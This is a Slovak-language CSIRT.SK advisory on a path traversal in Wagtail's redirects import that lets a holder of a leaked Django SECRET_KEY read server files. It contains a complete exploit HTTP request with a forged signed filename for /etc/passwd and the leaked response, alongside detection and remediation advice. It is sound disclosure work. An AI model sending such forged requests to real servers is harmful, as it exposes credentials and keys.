MINISTERSTVO
INVESTÍCIÍ, REGIONÁLNEHO ROZVOJA
A INFORMATIZÁCIE
SLOVENSKEJ REPUBLIKY

CSIRT.SK

Keď sa uniknutý SECRET_KEY platformy Django stane horším: prípadová štúdia Wagtail

Vypracoval: CSIRT.SK
Ministerstvo investícií, regionálneho rozvoja a informatizácie SR
Pribinova 25
811 09 Bratislava

Dátum vypracovania správy: Október 2025

TLP: Clear

Úvod

V ekosystéme Django je **`SECRET_KEY`** sama o sebe veľmi citlivá hodnota. Jej únik zvyčajne umožňuje útočníkom falšovať tokeny, resetovať heslá alebo kradnúť relácie v určitých konfiguráciách. Pri skúmaní modulu **`redirects`** aplikácie Wagtail však náš kolega objavil prípad, keď by únik hodnoty **`SECRET_KEY`** mohol eskalovať nad rámec zneužitia používateľa/relácie a umožniť **čítanie súborov na strane servera**. Python skript na zneužitie tejto zraniteľnosti je k dispozícii na stránke nášho kolegu [github](https://github.com/Habuon/wagtail-lfi).

Prehľad zraniteľnosti

Súbor: **`wagtail/contrib/redirects/tmp_storages.py`**

Riadok: 72

```
return os.path.join(tempfile.gettempdir(), self.name)
```

Hodnota **`self.name`** pochádza z podpísaného parametra v požiadavke. Mechanizmus podpisovania síce zabezpečuje integritu, nesanitizuje však obsah. Ak útočník dokáže sfalšovať platné podpisy (čo je možné, ak vlastní Django **`SECRET_KEY`**), môže do požiadavky vložiť názvy súborov, ako napríklad **`/etc/passwd`**. Kód vloží túto neoverenú hodnotu do cesty súborového systému, čím účinne umožní prechádzanie mimo zamýšľaného dočasného adresára.

Podmienky zneužitia

Pre zneužitie tejto chyby musí útočník:

1. **Poznať Django SECRET_KEY** - už v tomto bode ide o závažné narušenie.
2. **Vlastniť platné konto pre Wagtail** s oprávnením pridávať presmerovania.
3. **Vytvoriť škodlivý podpísaný názov súboru** smerujúce na citlivé súbory.

Ak sú tieto podmienky splnené, útočník môže zo servera exfiltrovať ľubovoľné súbory. Príklad požiadavky obsahujúcej platnú reláciu pre vysoko privilegovaného používateľa:

Požiadavka HTTP:

```
POST /admin/redirects/import/process/ HTTP/1.1
Host: localhost:8000
Cookie: csrftoken=JnnVucJbHd8qEaLPg1Sgr4jakrqxBJeO;
sessionid=1y21vfn0g6thvfp06c2sooiu0symurie
Content-Length: 492
Content-Type: multipart/form-data; boundary=58070cece7e28a1b1230238d327e961c
```

```
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="csrfmiddlewaretoken"

f1Eii97cre31xBWPvNBkysKEXJL0iEAKOeR3CbGdYh1h1BxuBEjqPmTE701nJdEo
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="import_file_name"

/etc/passwd:EOyyi1lH0t4QL209IuRxanXgAstgxxxCA3NCAr4JPn8
--58070cece7e28a1b1230238d327e961c
Content-Disposition: form-data; name="input_format"

0:DmT0RMY6RdLc70Vt7wiYA32_Cl4z5UK1pBBI_ybYFGE
--58070cece7e28a1b1230238d327e961c--
```

Odpoveď na túto požiadavku obsahuje obsah požadovaného súboru **`/etc/passwd`**.

Odpoveď HTTP:

```
HTTP/1.1 200 OK
Server: WSGIServer/0.2 CPython/3.13.3
Content-Type: text/html; charset=utf-8
...
Content-Length: 38988


<html lang="en-us" dir="ltr" class="w-theme-system w-density-default w-contrast-system">
  ...
  <form action="/admin/redirects/import/process/" method="POST" class="nice-padding"
novalidate enctype="multipart/form-data">
  ...
    <h2>Preview</h2>
    <table class="listing listing-with-x-scroll">
      <thead>
        <tr><td>root:x:0:0:root:/root:/usr/bin/zsh</td></tr>
      </thead>
      <tbody>
          <tr><td>daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin</td></tr>
          ...
          <tr><td>redis:x:129:131::/var/lib/redis:/usr/sbin/nologin</td></tr>
          <tr><td>kali:x:1000:1000::/home/kali:/usr/bin/zsh</td></tr>
```

```
        </tbody>
    </table>
  </form>
  ...
</html>
```

Bezpečnostný dopad

Hoci kompromitácia **`SECRET_KEY`** je sama o sebe katastrofálna, typické útoky zostávajú na **úrovni aplikácie/používateľa** (falšovanie relácie, podpisovanie tokenov). Táto zraniteľnosť zvyšuje dopad jej rozšírením na **úroveň servera**, čím umožňuje prístup k:

- Súborom prostredia (**`.env`**)
- Zdrojovému kódu
- Súkromným kľúčom (SSH, prihlasovacie údaje API)
- Konfiguračným súborom

Tým sa únik kryptografického kľúča zmení na problém **lokálneho začlenenia súboru (LFI)**.

Príkladový scenár – zverejnený .git a uniknutý SECRET_KEY

Reálny a bežný spôsob, ako môže uniknúť **`SECRET_KEY`**, je náhodný „commit“ kódu verejne dostupný na serveri, obsahujúci konfiguračné súbory, adresáre **`.env`** a **`.git`**, alebo exponovaná záloha. Predstavte si, že vývojár omylom „pushne“ súbor **`settings.py`** obsahujúci **`SECRET_KEY`**. Útočník, ktorý si naklonuje repozitár alebo získa vypublikované údaje v adresári **`.git`**, môže ľahko získať súbor **`SECRET_KEY`** a ďalšie citlivé konfiguračné hodnoty.

V tejto situácii sa zraniteľnosť, o ktorej sme hovorili, podstatne zhoršuje. S uniknutým kľúčom **`SECRET_KEY`** môže útočník, ktorý tiež ovláda (alebo kompromituje) účet Wagtail s dostatočnými oprávneniami, sfalšovať podpísaný názov súboru a použiť koncový bod importu na čítanie ľubovoľných súborov zo servera. Táto možnosť čítania súborov môže útočníkovi umožniť získať ďalšie tajomstvá - napríklad súbory .env, databázové poverenia, kľúče SSH alebo tokeny API - čo môže následne umožniť úplnú kompromitáciu servera. Stručne povedané: počiatočný únik repozitára, ktorý odhalí **`SECRET_KEY`**, môže v kombinácii s nekontrolovaným používaním názvov súborov prerásť do úplného narušenia.

Tipy pre detekciu

- Preskenujte históriu „commitov“, či neexistujú také, ktoré obsahujú settings.py, .env alebo iný súbor obsahujúci **`SECRET_KEY`**.
- Na serveri hľadajte neočakávané prístupy k administrátorským koncovým bodom (koncové body importu, presmerovanie importu) a neobvyklé čítanie súborov webovým procesom.

- Skontrolujte v logoch požiadavky na koncový bod importu, ktoré obsahujú neobvyklé reťazce názvov súborov obsahujúce ../, absolútne cesty alebo dlhé segmenty ciest.

Okamžitá náprava pri zistení úniku

1. Bezodkladne zmeňte `SECRET_KEY` a počítajte s vedľajšími účinkami (zneplatnite podpísané cookies/tokeny).
2. Zmeňte všetky ostatné tajomstvá, ktoré sa nachádzajú v repozitári alebo na serveri (heslá k databáze, API kľúče, SSH kľúče).
3. Odstráňte vypublikované súbory `.git` resp. akékoľvek citlivé súbory z verejného prístupu a prepíšte históriu, ak je to možné (napr. git filter-repo alebo bfg). Upozorňujeme, že samotné odstránenie súboru z repozitára ho z histórie neodstráni.
4. Vynúťte zmenu hesiel pre administrátorských používateľov, pokiaľ máte podozrenie na falšovanie relácií alebo tokenov.
5. Preverte a monitorujte podozrivú aktivitu administrátorov a nové neznáme kľúče zaznamenané v logoch a konfiguračných súboroch.

Hodnotenie CVSS

Zraniteľnosť sme vyhodnotili podľa metodiky CVSS v3.1 nasledovne:

```
AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:N/A:N
```

Base Score: 5.8 (Medium)

Hoci útok vyžaduje vysoké oprávnenia a predchádzajúcu kompromitáciu kľúča `SECRET_KEY`, má vysoký dopad na dôvernosť kvôli odhaleniu súborov servera.

Širšia lekcia

Tento prípad nie je o tom, že by bol systém Wagtail v štandardne dodávanom nastavení nezabezpečený. Je o tom, že **dôvera v kryptografické podpisy nesmie nahradiť základné overovanie vstupov**. Aj keď sú parametre podpísané, ich obsah stále potrebuje sanitizáciu. Dôležitá je viacvrstvová obrana (Defense in depth).

Časová línia

- **2025-09:** identifikovaná chyba a nahlásená Wagtail Security.
- **2025-09:** bezpečnostný tím vyhodnotil nález, že sa nejedná o zraniteľnosť (vzhľadom na to, že únik `SECRET_KEY` je sám o sebe katastrofický), no súhlasil, že kód je potrebné zabezpečiť.

Záver

Hoci si tento problém vyžaduje splnenie viacerých predpokladov a nemožno ho považovať za formálnu zraniteľnosť, poukazuje na málo viditeľnú, ale dôležitú bezpečnostnú lekciu. Vývojári by mali overovať a obmedzovať názvy súborov bez ohľadu na podpisovanie a považovať kľúč **`SECRET_KEY`** za kritickú súčasť bezpečnostnej politiky aplikácie.